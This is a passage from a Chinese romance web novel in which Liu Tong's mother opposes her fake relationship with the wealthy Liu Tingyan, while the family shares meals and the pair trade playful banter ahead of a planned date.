“相互喜欢?”刘妈蹙眉看着她,句句直击要害,“那你了解他的家境吗?了解他的为人品性吗?你什么都不清楚,也敢随便跟人谈恋爱?” “老妈,这些我都知道的,我真的清楚。”刘瞳急得脸颊发烫,却只能咬牙坚持 知道?你又能知道多少!你们才相处多久。”刘妈眉头紧锁,苦口婆心开启一番说教,“万一以后嫁过去,他家里人待你刻薄,离家千里,受了委屈连个诉苦的地方都没有,谁能替你撑腰?人人都晓得他家条件优渥,可富家子弟,又凭什么真心看上我们普通人家的姑娘?就算他本人待你再好又如何,若是他父母看不上你,往后的日子只会步步难熬!” 刘瞳脸色一阵复杂,满心无奈。 柳廷砚的父母早已离世,这件事她万万不能吐露。更何况两人本就是演戏假扮情侣,一旦真相捅破,后果不堪设想。她敢笃定,老妈得知实情,转头就要随便给自己安排相亲。 “他,他不是这样的……”刘瞳支支吾吾,半句完整的辩解都说不出口。 “他怎么?”刘妈情绪愈发激动,“看人不能只看表面。如今多少人金玉其外败絮其中,当面温文尔雅,背地里心思算计,别到最后被人算计得干干净净。” “妈,廷砚绝对不是那种人。”刘瞳忍不住反驳。 “你凭什么这么笃定?你们相识才多长时间,伪装这种事,谁又做不出来?” 这话戳得刘瞳心里憋闷,忍不住小声嘟囔:“那您给我介绍的,我还不是一样完全不了解。” “至少我们知根知底!”刘妈理直气壮,“父母替你挑选,必然摸清对方人品家境,确定你不会受委屈才会开口。天底下哪有长辈不盼着儿女往后过得安稳顺遂?” “可长辈介绍的也未必就合适啊。”刘瞳抿着唇,眼眶微微泛红,满是委屈,“婚姻终究是两个人过日子,总要先有感情才可以。没有感情基础的婚姻,怎么可能过得幸福?哪个女孩子不盼着嫁给自己心悦的人。” “怎么就不幸福?我跟你父亲便是先成家后相处,日子不也安安稳稳过到现在。”刘妈完全不吃她这套可怜模样,语气急切。 “可你们还总动不动就吵架。”刘瞳声音细若蚊蚋。 一句话堵得刘妈一时语塞。 沉默片刻,她才压下火气:“夫妻过日子哪有不拌嘴的。就算吵,吵完一日便翻篇了。” “那还不是老爸处处迁就您。” “你懂什么。”刘妈摇摇头,继续说教,“争吵本就是夫妻之间的常态,吵过之后,才更懂得珍惜彼此,解开心里的疙瘩。” 刘瞳只觉得满心烦躁,脑袋嗡嗡作响,一点也不想继续听这番大道理。 “听我的,跟他分开。防患于未然。”刘妈直接给出结论。 “妈,不行。你还没有真正了解他,他待我是真的很好,他人不坏。”刘瞳瞬间急了。 “富家子弟水太深,我们高攀不起,招惹不得。”刘妈摆了摆手,不再多谈,转头自顾忙着手头的活计。 刘瞳心口一阵发酸,声音带上淡淡的哭腔:“为什么啊?为什么总要我们去嫁给不喜欢的人。嫁人,难道不该选自己喜欢的吗?” “喜欢不能当饭吃!要看人配不配!”刘妈厉声呵斥。 “他哪里不好?”刘瞳情绪绷到极点,陡然拔高音量,泪水顺着脸颊簌簌滚落,“他温和有礼,大清早便起来为全家准备早饭,家务样样拿得起,能力出众会赚钱,最重要的是他真心待我。我实在不懂,您为什么始终对他抱有偏见。” “你哭什么!”刘妈也被激起火气,高声回怼,“你怎么确定这些不是他刻意演出来的?人心叵测,这点道理你怎么就想不通。” “好,那您说说,他图我什么?”刘瞳吸着通红的鼻子,红着眼反问,“我们家无钱无势,他又能从我身上得到什么好处?” “图一时新鲜罢了。这类人,最擅长哄骗小姑娘。” “妈,请您不要把所有人都想得如此不堪。”刘瞳几乎要对母亲这套老旧的观念感到绝望,“凭什么就认定我们家就是高攀。现在讲究自由恋爱,早就不是固守门当户对的旧时代了。” “就算眼下他喜欢你,那他的家人呢?他家那般家境,身边从来不缺容貌出众的女孩子。” “那些我都可以努力,我会争取得到他家人的认可。”刘瞳大口喘着气,豁出去一般,“倘若往后他真的变心,那也是我运气不好,我认,我绝不埋怨家里半分。” “你是想活活气死我!” 刘妈猛地从凳子上站起身,怒火冲天。 就在这时,房门被轻轻推开,刘爸走了进来。 刘妈强压怒火,重重坐回椅子。刘瞳背对着房门,坐在矮凳上,指尖无意识拨弄着手里的玩具布偶,大颗大颗的眼泪砸落在布偶身上。 “没什么事,出去。”刘妈厉声对刘爸说道。 外面客厅收拾碗筷的几人听见房内的争执声,皆是一愣。 “小瞳好不容易回家一趟,别总这般苛责她。”刘爸轻叹一声,见刘妈没有半点缓和的迹象,只得带上门退了出来,出门时无奈地摇了摇头。 客厅之中,柳廷砚握着餐盘的手指骤然收紧,眼底翻涌着复杂难言的情绪,方才屋内的争吵,他尽数听在耳中。 “廷砚,要不要跟我一道出去买菜?”刘爸走上前,拍了拍他的肩膀,神色缓和几分,“今早的早餐味道极好,没想到你厨艺这般出众,我家小子要是有你一半能干就好了。” “走呀爸,您跟他出去采购。”刘思涵快步上前接过柳廷砚手中的盘子,笑着打趣,“妹夫厨艺这么好,中午的午饭也拜托你了。二妹子可真是有福气,又会做饭又能干家务。” “嗯。”柳廷砚轻轻应下。出门之前,他目光沉沉望向工作间紧闭的房门,眼底满是担忧。 菜市场内,两人缓步穿行,周遭人声熙攘。 “刘叔叔,阿姨,是不是很不喜欢我?”柳廷砚率先开口,语气带着几分沉郁。方才房里的争执,依旧萦绕在他心头。 “哈哈,别胡思乱想。”刘爸想要打圆场。 “叔叔,方才里面的对话,我都听见了。”柳廷砚淡淡打断。 刘爸脸上的笑意淡去,露出几分疲惫沧桑:“唉,做父母的,不过都是盼着儿女往后过得安稳,没有特意针对你的意思。” < p>“我理解阿姨的顾虑。只是阿姨对我,存有不少误解。”柳廷砚的语气微微激动,神色认真,“叔叔,我是真心喜欢小瞳。阿姨是小瞳的母亲,我……” “你的心意我看得明白。”刘爸笑着宽慰。 “叔叔,你们心中的顾虑,我全都清楚。”柳廷砚停下脚步,眼神无比真挚,“我柳廷砚,一旦认定一人,便绝不会轻易更改。就算来日风波迭起,无论遇到什么难关,我都会和小瞳一同承担,并肩走下去。” 刘爸被他这番郑重的告白说得微微一怔,随即朗声大笑,迈步向前走去:“好小子,我果然没有看错你。” 正午十二点。 “妈,出来吃饭了。”刘思涵推开工作间的房门。 刘妈一言不发,关掉机器走出房间。刘思涵回头瞥了一眼她的背影,连忙关上房门,走到依旧垂着头的刘瞳身边,柔声安抚。 “二妹,别难过,老妈性子就是这样,别往心里去,先出来吃饭。” 刘瞳抬手擦干脸上的泪痕,吸了吸泛红的鼻子,点头起身。 刚踏出房门,柳廷砚就站在门外。四目相撞,刘瞳微微一怔。看见她一双红肿的眼,柳廷砚心口骤然一紧。 刘瞳低下头,侧身绕过他往前走。刘思涵连忙上前,挽住她的胳膊走向餐厅,柳廷砚跟在二人身后。 “来来来,开动吃饭。”刘爸见所有人到齐,张罗众人落座。 “今早早餐大家都尝过,今天的午饭也是柳先生亲手做的,我刚刚偷偷尝过一口,味道堪比五星大厨!”刘思涵一边说,一边悄悄瞟向脸色沉沉的刘妈,努力活跃气氛。 众人拿起碗筷,开始用餐。 “这个脆皮鸡太香了!”刘忠岳咬下一大口,又夹起满满一块放到刘妈碗中,“妈,您尝尝。” 刘妈捏着筷子的手顿了顿,终究没有拒绝,低头吃了下去。桌上其余人,除去刘瞳与柳廷砚,全都目光紧紧落在她身上,屏息等待她的反应。 “都盯着我干什么,盯着我就能吃饱?”刘妈丢出一个白眼。 众人连忙收回目光,埋头扒饭。 “妈,好不好吃?我觉得这是我吃过最好吃的脆皮鸡。”刘忠岳笑着,视线有意无意瞟向刘瞳。 “嗯,好吃就多吃点。”刘妈淡淡应着,自己也夹了一块鸡肉。 刘爸见此,心底悄悄松了口气,露出一抹浅笑。 “对了,柳先生家中条件优越,按理说家里应该不乏保姆,怎么你的厨艺还这般出众?”刘爸随口问道。 “我不太习惯旁人伺候。”柳廷砚唇角噙着温和笑意,缓缓作答,“儿时家里虽有保姆,但饭菜始终不合我的口味。父母平日里十分忙碌,家中常常只有我一人,久而久之,生活琐事便全部学着自己动手,十岁之后,我便辞退了家里的保姆。” “好!自己动手丰衣足食!”刘爸开怀大笑。 “这么说来二妹真是享福,以后嫁过去日子都能过得舒舒服服。”刘思涵打趣。 “那往后我们可要常常去二姐家蹭大餐。”刘冉然笑着接话。 “没错,到时候姐夫可得好好招待我们。”刘忠岳附和。 饭桌气氛瞬间热闹起来。 柳廷砚浅笑着点头应下,刘思涵笑得眉眼弯弯,刘瞳窘迫地垂着头,脸颊发烫。 “吃饭就好好吃饭,规矩都忘了?”刘妈沉声开口。 满堂的欢声笑语骤然戛然而止,所有人规规矩矩低头用餐。 27. 等待进入网审 早上争吵的画面在脑海盘旋,刘瞳鼻尖一酸,滚烫的泪珠毫无预兆掉进饭碗。她埋着头,只扒拉白米饭,一动也不动桌上的菜。 柳廷砚看在眼里,伸手夹起一筷子她最爱吃的虾仁,轻轻放进她碗里。 就这么一个小小的举动,刘瞳积压的委屈彻底绷不住,眼泪掉得更凶,压抑的抽噎声轻轻响了起来。 一桌人全都愣住。 柳廷砚心头一慌,连忙抽纸巾递过去:“怎么又哭了?” “二妹,没事吧?”刘思涵也赶紧拿纸巾递给她。 刘瞳接过纸巾胡乱擦了擦,摇摇头,勉强继续吃饭。除了刘妈,满桌人两两对视,神色担忧。 柳廷砚依旧时不时为她布菜,可刘瞳心里的委屈翻涌不止,泪水怎么都止不住。 “小瞳,别再哭了,到底怎么了?”柳廷砚柔声,伸手想要替她拭去眼泪。 “不想吃就别吃了!” 刘妈将筷子重重拍在桌面,一声怒喝响彻餐厅。 刘瞳被吓得浑身一颤,哭得更加厉害,丢下筷子,转身快步冲回房间。 “妈,消消气,别生气。”刘思涵急忙出声打圆场。 柳廷砚眉头紧锁,起身便打算追过去。 “站住。”刘妈冷冷叫住他。 “不管你怀揣何种目的,请你远离我家小瞳。我们普通人家,高攀不起你这尊大佛。”刘妈一边吃饭,语气不带半分温度。 柳廷砚脚步顿住,脊背挺直,没有回头,清亮而坚定的声音响彻客厅。 “阿姨,我明白您对我心存偏见,也懂老一辈心中门当户对的执念。但我可以清清楚楚告诉您,我对小瞳,是真心实意。无关家境,无关容貌。外人或许觉得,像我这般出身的人,理应偏爱家世样貌皆出众的姑娘。可我不一样。身处高处,见多了勾心斗角、满心算计的人,我格外向往一份纯粹毫无心机的真心。而小瞳,恰好就是那个人。无论如何,我绝不会放弃她。” 话音落下,他抬步,径直走向刘瞳的房间。 客厅安静几秒。 “哇,这就是里霸道总裁的气场啊。”刘忠岳小声感慨。 刘妈一记白眼扫过去,少年瞬间蔫了,连忙抬手轻拍母亲胳膊赔笑:“开玩笑的妈,吃饭吃饭!” 泪眼倾诉,意外扑倒 “呜呜……呜呜……” 柳廷砚推开门,便看见刘瞳伏在梳妆台上,肩膀一抽一抽地哭得压抑。他轻手轻脚合上房门,缓步朝她走过去。 “别哭了。”他放柔了声线,低声劝慰。 谁料这句话落下,刘瞳的哭声陡然爆发,哇的一声,直接转过身扑过来,双臂死死环住他的腰,鼻涕眼泪一股脑全都蹭在了他的衬衫上。 柳廷砚全然不在意衣衫被弄脏,心底却是五味杂陈。他抬起手,一下下轻轻抚着她的头顶。 “为什么妈要对我那么凶……”刘瞳闷闷地埋在他衣襟间,嗓音含糊潮湿,“明明我年纪还不大,为什么总逼着我去嫁给不喜欢的人。” “长辈张口闭口都是他们选的才最好,可从来没有人问问我们心里到底想要什么。” 她抽噎着,断断续续吐露积攒许久的委屈。 “就连大姐当初也是,她和姐夫明明相处得好好的,家里硬要插进别的男人搅局,害得他们差点就此分手。还有,总催着我们早点成家,口口声声一切都是为我们好。可大姐嫁过去之后,还要跟着一起还债,日子过得多辛苦。他们什么都看不见,只固执认定自己的想法便是正确的。呜呜,我怎么这么倒霉。” 刘瞳说得上气不接下气,滚烫的泪水浸透了他胸前的衣料。 “为什么别人家的父母都不会这样,为什么别人就可以活得那么自由自在。” “好了,别再哭了。”柳廷砚听着她一通积压已久的抱怨,一时竟找不到合适的话语宽慰。 “我感觉我们做儿女的,就像不需要感情的工具一样。”刘瞳哽咽着,肩膀不住颤抖。 “并非如此。”柳廷砚微微蹙起眉头,耐心安抚,“阿姨的出发点确实是为了你。她心里的顾虑我都明白,她怕你遇人不淑,怕我只是一时玩乐欺骗你。在老一辈的观念里,很难相信家境优渥的人会真心喜欢普通人家的姑娘,这份严苛,说到底也是出于对你的保护,不能全然怪她。” 他微微弯腰,伸手拉起刘瞳,双手轻轻握住她湿漉漉的手,蹲在她面前,平视着她通红的双眼。 “可我已经解释过了,她也亲眼看见你有多好。”刘瞳急急开口,软糯的嗓音撞进他耳朵里,叫他心口都跟着发软。 柳廷砚低低笑了一声,指尖稍稍收紧:“在你眼里,我真的有那么好?” 刘瞳猛地一怔,触电般甩开他的手,侧过身子,耳尖飞快染上一层绯红。 “那、那是被逼的!”她垂着头,小声嘟囔,“要是我现在跟你分手,我妈立马就要安排我去相亲。我才拼命帮你说好话的。” “呵,倒也是。别忘了我们本就是演戏。”柳廷砚缓缓站起身,笑意浅浅浮在唇边,眼底却掠过一丝难以掩饰的落寞,“所以我才在努力,想要得到阿姨的认可。” 刘瞳十指不安地互相绞在一起,抿着唇轻轻点了点头。 “放宽心,就剩一个月而已。实在不行,你就撒泼闹一闹,阿姨心里疼你,总会妥协。”他伸手揉了揉她的头发。 “你才撒泼!”刘瞳抬手一巴掌拍开他的手,嗔怪地瞪他。 “若是情势需要,也未尝不可。”柳廷砚抱臂而立,笑得漫不经心。 “你!”刘瞳又气又好笑,没忍住噗的一声捂住嘴笑出来。 看见她终于展露笑颜,柳廷砚在心底悄悄松了一大口气。总算哄好了。 “走吧,出去吃饭,我辛辛苦苦忙活两个小时做出来的菜,总不能白白浪费。”说完,他转身就要往外走。 就在他快要走到门口的时候,身后传来一声细若蚊蚋的道谢。 “谢谢你。” 柳廷砚脚步一顿,回过头,唇角勾起一抹戏谑的笑:“谢我什么?到时候演戏结束,可别反过来讹上我就好。” “胡说八道!明明我还怕你赖账呢!咱们走着瞧!”刘瞳瞬间炸毛,气冲冲冲到他身前,一把将他推开,抢先跑出了房门。 房门关上的刹那,柳廷砚脸上的笑意一点点褪去,神色沉了下来。 夜色缓缓笼罩住整座屋子。 卧室里,刘家夫妇躺在床上。 “孩子们都长大了,心里都有自己的主意。我们做父母的,适当提点帮衬就够,不必太过固执强硬。”刘爸轻声开口。 这番话似乎不合刘妈的心意,她翻过身,背对着他,不愿搭话。 刘爸轻轻叹了口气,继续说道:“说实在的,那孩子本身不差。厨艺家务样样拿手,做事稳重会赚钱,待人又谦和有礼。如今家境优越的年轻人里,像他这般实在的,已经不多。小瞳能遇上,也算难得。” “你怎么就知道,这些不是他刻意伪装出来的?”刘妈立刻翻身回来反驳。 “都相处这么多天,总不能时时刻刻演得滴水不漏。再说,他一个富家公子,犯得着在我们家里百般讨好,大可去逍遥快活。” “不过是和别的纨绔子弟稍有区别罢了,有什么值得大惊小怪。”刘妈语气带着几分不以为然。 “能和旁人不一样,就已经很难得了。咱们儿子还不及他一半能干。”刘爸轻笑。 “有你这么对比的吗,哪有长别人志气灭自家孩子威风的。”刘妈当即不服气。 “好好好,不比便是。”刘爸清楚妻子护短,无奈退让。 屋内陷入一阵长久的沉默。 过了许久,刘妈才缓缓开口,声音藏着重重忧虑:“我也并非全然讨厌那孩子。只是他家世摆在那里,大户人家规矩繁多。小瞳性子散漫随性,我是怕她嫁过去,会被婆家挑剔嫌弃。隔得又远,真受了委屈,连个撑腰的人都没有。” “还以为你睡着了。”刘爸的声音带着几分睡意朦胧。 “心里装着事,怎么睡得着。”刘妈嗔了一句。 “儿孙自有儿孙福。既然是她自己选的路,就让她去走。人这一生,哪能事事顺遂,总要经历一些磕碰。”刘爸叹息,伸手轻轻覆在她的被子上,以示宽慰,“孩子已经长大,不再是需要躲在我们身后的小姑娘,该放手的时候,就要学着放手。” 临闭眼之前,刘爸低声喃喃:“凭心而论,那孩子真的不错,小瞳跟他在一起,应当会过得幸福。” 另一间卧房,柳廷砚仰躺在床上,双手枕在脑后,静静望着窗外一轮皎洁圆月。 已经月中,距离约定的期限只剩下十几天。往后会是什么结局,尚且无从知晓。但无论最后走向如何,他一定要活着回到这里。这场伪装的情缘,这口无端扣在身上的黑锅,竟是他心甘情愿背上的。 一念及此,他唇角不受控制,浅浅扬起。 28. 等待进入网审 “姐夫!快打!他在磨我的血条!” 刘瞳一把推开刘忠岳的房门,就看见柳廷砚和刘忠岳席地坐在地板上,手里攥着游戏手柄,手指飞快按着按键,屏幕光影在两人脸上明明灭灭。柳廷砚背对着门口,玩得投入,身子都跟着微微晃动。 刘瞳站在门口,无奈地摇摇头:“果然,男人永远逃不开游戏的魔力。”说完轻轻带上房门退了出去。 她走到客厅,看见刘思涵抱着手机,指尖飞快在屏幕上敲击。 “老姐,都住这么多天了,你还不打算回去?就不怕冷落姐夫?” “啊?什么?”刘思涵匆匆抬眼扫了她一下,立刻又埋首看向手机。 “我的天,你又在玩什么,连姐夫都抛之脑后了。”刘瞳扶额。 “王者荣耀啊。平日里杜于格管着不让我玩,现在难得逮住机会,可不能错过。”刘思涵眼睛都没有离开屏幕。 “没救了,现在女孩子也沉迷游戏,不会就我一个人没玩过吧。”刘瞳一脸苦相。 “倒也不是,家里还有你妹。”刘思涵朝房间方向抬了抬下巴。 “对,差点忘了我们家还有个二次元漫迷。”刘瞳伸手拿起茶几上的遥控器,准备打开电视。 遥控器瞬间被刘思涵一把夺走。 “不许开电视,吵到我打游戏。” “哪有这样的!你怎么不回房间玩,我偏要看。”刘瞳伸手就要抢回来。 “二妹子,你胆子是越来越大了。”刘思涵微微眯起双眼,眼神带着威慑力,气场十足。 刘瞳被她这一眼看得瞬间认怂,干笑两声:“开玩笑的,不看就不看。” 在家里,除了老妈,她最怕的就是这位姐姐。 “唉,好无聊。”刘瞳四仰八叉瘫在沙发上。 “对了,我那套化妆品都被你拿走了,不是说要学化妆吗?这几天也没见你涂粉底画眼线。”刘思涵随口提起。 “呃!”刘瞳猛地坐直身体,后背冒出一层薄汗。 不提她都彻底忘干净了。 “多亏你提醒!我现在就去找人教我。”她说完,一溜烟起身跑开。 刘思涵望着她仓促的背影,满心疑惑,随即摇摇头,继续埋头打游戏。 “姐夫太牛了!三连杀,直接带走五个!”房门内,传来刘忠岳兴奋的欢呼声。 “平日里闲暇,偶尔拿来消遣而已。”柳廷砚淡淡笑着。 “有姐夫带我,我肯定可以上分!再来一局!”刘忠岳高声喊道。 两人正要按下按键,房门被人一声喊住。 “柳廷砚!” 两只手同时顿住,齐齐转头看向门口的刘瞳。 “老弟,你不是要做游戏软件吗?赶紧去忙活,要是被妈抓到你偷偷打游戏,有你好受的。”刘瞳上前,直接抢过手柄。 “姐!再玩一小局又不碍事!”刘忠岳伸手去抢。 “不行,专业课还得复习,小心期末挂科。”刘瞳把手柄藏在身后。 “不要你管!还给我!”刘忠岳脸色有些不快。 “算了,就算想玩,也没人陪你了,自己玩手机去吧。”刘瞳把手柄扔回他怀里,一把拉起柳廷砚就往外走。 “哎?就再玩一局都不行吗!”刘忠岳在身后不甘心地大喊。 “不行。”刘瞳头也不回。 “干嘛?”柳廷砚垂眸看着被她攥住的手腕,眼底漾开笑意。 “还不是都怪你,再装下去老姐都要起疑心了。”刘瞳把他拽进房间。 “啊?”柳廷砚一脸茫然,心里暗自回想,这几日自己明明演技到位,怎么会暴露。 “发什么呆,快点干活。”刘瞳在他眼前挥了挥手。 “干什么?”柳廷砚回过神。 “教我化妆。”刘瞳坐到梳妆台前,将一桌子化妆品摊开,看着大大小小瓶瓶罐罐一阵头疼,“化妆东西这么多,也太麻烦了。” “都说化妆堪比整容,整容耗时还要更久呢,化个妆就嫌麻烦,难怪没人追。”柳廷砚双手环胸,满眼戏谑。 “跟你有什么关系!本小姐天生丽质。”刘瞳扬起下巴,不服气地抬杠。 “噗,看得出来。”他捂着嘴憋笑,缓步走上前。 “柳廷砚,不许笑我,你也好不到哪里去。”刘瞳站起身,追着他就要打。 “哎,别动手,动不动就打人,难怪没人要。”柳廷砚一边躲闪一边笑。 “就会取笑别人的小人!别跑,今天非得收拾你!” “有本事过来抓我。”柳廷砚朝她勾了勾手指,还抛过来一个轻佻的媚眼。 “妖精!别跑!”刘瞳急得脱下脚上一只拖鞋,举着就追过去。 房间里两人你追我躲,气氛喧闹。 追到床边,柳廷砚反手攥住她握着拖鞋的手腕,身体顺势向后仰,巨大的拉力直接将刘瞳一并拽倒。 “呃……” 四目相对,距离近得呼吸交织。 “砰!”房门毫无预兆被推开。 这一幕猝不及防撞进刘冉然眼里。 “呃……我好像来得不是时候。”刘冉然话音刚落,唰的一下关上房门。 刘瞳浑身一僵,慌忙爬起身,夺门而出,一头扎进卫生间。 她双手拍着滚烫发烫的脸颊,拧开水龙头,掬起冷水扑在脸上,后背抵着洗手池大口喘气。 心跳快得几乎要撞破胸膛。 方才那一幕不断在脑海盘旋回放。 天呐,居然就这样扑倒在一起,还被妹妹撞个正着,这下要被误会惨了,简直社死现场。 一个念头不受控制冒出来:我该不会,喜欢上这家伙了吧。 不可能!就他这副欠揍的性子,我怎么会动心。 一定是这张脸的问题,长得太过好看,才让人乱了心神。对,一定是颜值蛊惑我。 可那偏偏就是他本人的模样啊。 刘瞳在心里反复纠结拉扯,几乎快要精神内耗到崩溃。 屋内,柳廷砚慢慢从床上坐起身,瞥见地上那只孤零零的拖鞋,回想起方才刘瞳手忙脚乱的模样,嘴角抑制不住地向上扬起。 木瓜闹剧与明日之约 晚饭时分,一大家子围坐在餐桌前,热气氤氲。 “来,小瞳,多吃点这个,女孩子吃了补身子。”柳廷砚夹起一块色泽金黄的果肉,稳稳落进刘瞳碗中。 刘瞳低头瞅了一眼,没多想便送入口中,毕竟他的厨艺,全家都是认可的。 “这是什么?”她嚼着食物随口问道。 “这不是木瓜嘛。”刘思涵眉梢轻轻一挑,笑意玩味,来回扫过两人。 “木瓜不光美容润肤,最出名的功效,那可是……丰胸。”一旁的刘冉然慢悠悠补了一句。 这句话落下,刘瞳整个人瞬间僵在原位,脸颊轰地烧得滚烫,猛地转头怒瞪柳廷砚。 可恶的家伙!难道是嫌自己身材不好?不对,重点不是这个!他居然当着全家人的面夹给她!啊啊啊,简直没脸见人。 更气人的是始作俑者,脸上一派干干净净的无辜笑意,仿佛方才什么都没发生。要不是一桌长辈弟妹都在,她真想揍得他原地跳芭蕾。 “木瓜本身益处颇多,属于寻常食材,家里女孩子多,便买来炖汤。”柳廷砚笑得坦荡自然,看不出半分玩笑得逞的痕迹。 刘瞳心里一百个不相信 。分明就是故意捉弄,想看她当众出糗,卑鄙小人,果然就不能好好相处。 “妹夫倒是有心。妈,您也多吃点,小瞳更是要多尝尝。”刘思涵话里藏着打趣,目光落在刘瞳身上。 刘瞳只能扯出一抹尴尬的干笑。桌下,她悄悄伸出手,对准正在优雅进食的柳廷砚的大腿,狠狠拧了一把。 “嘶——啊!”柳廷砚猝不及防,险些失声叫出来。 “怎么了?”一桌人齐刷刷望向他。 “没事,不小心咬到舌头了。”柳廷砚勉强挤出一个尬笑。 “哈哈,我也经常这样,我妈说都是吃得太急闹的。”刘忠岳大大咧咧笑道。 “呵呵。”柳廷砚客套回笑,桌下反手,牢牢扣住刘瞳作乱的手腕。 刘瞳表面神色如常,暗地里使劲挣扎,抬眼狠狠剜他,柳廷砚却只回以一抹温温柔柔的浅笑。 晚饭结束,众人开始收拾碗筷。刘瞳眼神阴郁,死死盯着一脸若无其事的柳廷砚。刘思涵还坐在桌边,手里拿着鸡腿啃得津津有味。 “二妹子,你一直盯着妹夫干什么,人又跑不掉。”刘思涵咬下一口肉,含糊开口。 “胡说什么!谁乐意看他!”刘瞳手里的碗差点没端稳,嗓门不由得拔高。 “哟,反应这么大,此地无银三百两,心里有鬼吧。”刘思涵眨了眨眼,一副看透一切的模样。 “没有!”刘瞳又气又窘。 “别解释,解释就是掩饰,掩饰就是事实。”刘思涵抱着胳膊,了然一笑。 “懒得跟你扯。”刘瞳端着碗快步走进厨房。 “说真的,妹夫这般能干,什么都会。反观我家那位,家里大小事全要我操心,天天累得够呛。”刘思涵忽然有感而发。 “活该~”刘瞳探出头,冲她做了个鬼脸。 “好哇,胆子越来越大了。”刘思涵撸起袖子就站起身。 “哎呀!廷砚,大姐要欺负我!”刘瞳立刻换了一副柔弱模样,躲到柳廷砚身后。 “行啊,有靠山了就是不一样。”刘思涵把鸡腿丢回碗里。 “有本事你去找你家那位啊。”刘瞳躲在人身后,得意得尾巴都快要翘起来。 “有种别躲在男人身后,出来单挑!”刘思涵拿筷子指着她。 柳廷砚含笑站在两人中间。看着兄妹姊妹吵吵闹闹,心底泛起一阵说不清的怅然。他从小到大,偌大的房子永远只有自己一个人,冷清孤寂早已刻进骨子里,这一刻竟生出一丝羡慕,甚至厌弃起自己的出身。 “廷砚,你会保护我的,对不对?”刘瞳拽住他的衣角,眼神可怜巴巴。 “嗯。”柳廷砚心头一动,痛快应下。 “噜噜噜,来呀,来抓我呀。”刘瞳继续冲刘思涵扮鬼脸挑衅。 “很好,二妹子,你可真行。”刘思涵眯起眼,眼底闪过一丝狡黠,“对了妹夫,想不想听听二妹子小时候的趣事?” 她特意把“趣事”两个字咬得很重。 柳廷砚微微一顿,躲在他身后的刘瞳瞬间心头警铃大作,大事不好。 “好啊。”不等刘瞳阻拦,柳廷砚已然带着几分兴致应了下来。 完了。 刘瞳脑子里嗡的一声。儿时不懂事,糗事一箩筐,被他知道一件,都要被取笑许久,更别说全盘托出。必须阻止。 “老姐,我开玩笑的!你要算账冲我来,怎么样都行。”她连忙上前讨好。 “晚咯。”刘思涵淡淡甩出一句,扭头继续啃鸡腿,不为所动。 “老姐——”刘瞳死皮赖脸缠上去软磨硬泡,可对方完全不为所动。 看见她垂头丧气的模样,刘思涵忍不住哈哈大笑。 29. 等待进入网审 客厅里,刘爸刘妈望着这边吵吵闹闹的儿女,脸上满是欣慰,并未上前干涉。 “你要是敢说,我就给姐夫打电话告状,就说老妈找他。”刘瞳急中生智。 刘思涵当即飞过来一道凌厉眼刀:“你敢。” “我怎么不敢,我现在就拨。”刘瞳作势拿起手机。 “行行行,不开玩笑了。”刘思涵无奈妥协。 刘瞳扬起小脸,一脸得胜的得意。一旁的柳廷砚看着她,唇角也噙着笑意,心里暗叹,真是只小野猫。 “话说回来,你们天天闷在家里,都不约会的吗?妹夫头一回来咱们这边,二妹子也不带他出去转转。”刘思涵忽然开口。 刘瞳当场愣住。 “呃……咱们这种小地方,有什么好逛的。”她干笑着打圆场。 “那正好,小瞳,明天我们出去约会。”柳廷砚笑得眉眼舒展,春光烂漫。 “什么?!”刘瞳如同看见什么匪夷所思的东西。 柳廷砚走上前,伸手握住她的手腕,将她轻轻转过来面向自己,眼神深情款款:“我们很久没有约会了,这里我不熟,明天就由你来当我的向导。” 那双眸子太过真切,刘瞳就算自认定力尚可,也不由得悄悄咽了下喉咙。 导什么鬼!谁要跟他约会!她心底怒火翻腾,却又不能当众发作,只能瞪着他,大眼对小眼。 “嘿嘿,我知道哪里好玩,我来给你们做一份约会攻略,保证浪漫十足。”刘思涵眼睛亮晶晶。 刘瞳心里警钟大作,看老姐这副样子,准没安好心。 “不必,去就去,不用你瞎掺和,我自己知道去哪。”刘瞳一把推开搭在自己肩膀上的手,叹了口气转身离开。 身后,刘思涵露出计谋得逞的浅笑。柳廷砚转头,无声朝她比了个谢谢。刘思涵摆了摆手。 回到房间,刘瞳一边嘟囔一边准备休息:“不就是出去逛街,跟游街示众一样,有什么好怕,我又不会迷路。” 话音落下,她猛地回过神,猛然转身,快步走到隔壁房门口,抬手敲门。 房门“吱呀”一声拉开。 柳廷砚衣衫半褪,小麦色紧实的腹肌猝不及防撞入眼帘。刘瞳下意识又咽了一口口水,慌忙转过身捂住眼睛。 “喂!这里是我家,家里这么多人,能不能先把衣服穿上!” “呵。”柳廷砚低笑一声,伸手攥住她的手腕,稍一用力,直接把人拽进屋内,反手关上房门。 “你干什么!”刘瞳再一次被壁咚在门板上,心慌意乱。 “你说呢?”柳廷砚微微俯身,温热的气息扫过她的耳畔。 刘瞳脸颊瞬间烧得滚烫,拼尽全力一把将他推开。 手感还挺好……这个念头一闪而过。她死死捂住双眼:“快把衣服穿上,我有正事跟你说。” “捂什么,又不是第一次看。”柳廷砚靠在墙边,语气散漫。 刘瞳万般无奈,一点点挪开手指,就看见柳廷砚噙着一抹戏谑的笑盯着自己,吓得她连连后退两步。 “找我什么事?难不成,是主动送上门?” “想得美!”刘瞳嗔道。 “那你找我干什么。”柳廷砚摊了摊手。 “明天,你真打算出门?” 柳廷砚轻轻点头。 “你想清楚了?就顶着这张脸,不怕被仇家察觉?”刘瞳上前一步,指着他的面孔。 听见这话,柳廷砚眼底飞快掠过一丝晦暗的伤痛。 “怎么,不行?” “你不是一直在被陈尧追杀吗?你出门,是用现在这张样貌,还是原本那张?” “自然是这一张。原先那张样貌,我哪里敢随便在外露面。”柳廷砚有些无奈。 “万一被认出来怎么办?陈尧会不会以为你拿到解药恢复了?” “不会。那枚药剂本就是他父亲造出的唯一失败品,解药仅有一枚,还被他随身携带,绝不会落到我手上。就算我这张脸被人看见,最多只会被当成长相相似的路人。反倒是原先那张受过伤的脸,一出现才更容易暴露。再说这里地处偏远,天高皇帝远,陈尧的势力很难渗透到这种地方。”柳廷砚耸了耸肩。 “大少爷,你心里是不是压根瞧不上我们这小地方。嘴上说要出去玩,你是想出去送死,别拉上我。”刘瞳瘪着嘴,满心不满。 “还长得相似,相似度这么高,别人又不是瞎子。我跟你说,真出事,别把我们一家人牵扯进去,大不了我直接倒戈。”她狠狠瞪着他。 “夫妻之间,本该有难同当有福同享,你怎么可以临阵倒戈。”柳廷砚故作伤心。 “谁跟你是夫妻!结婚证呢?拿出来我瞧瞧。”刘瞳双手叉腰。 “现在也是男女朋友,离那一步也差不了多少。” 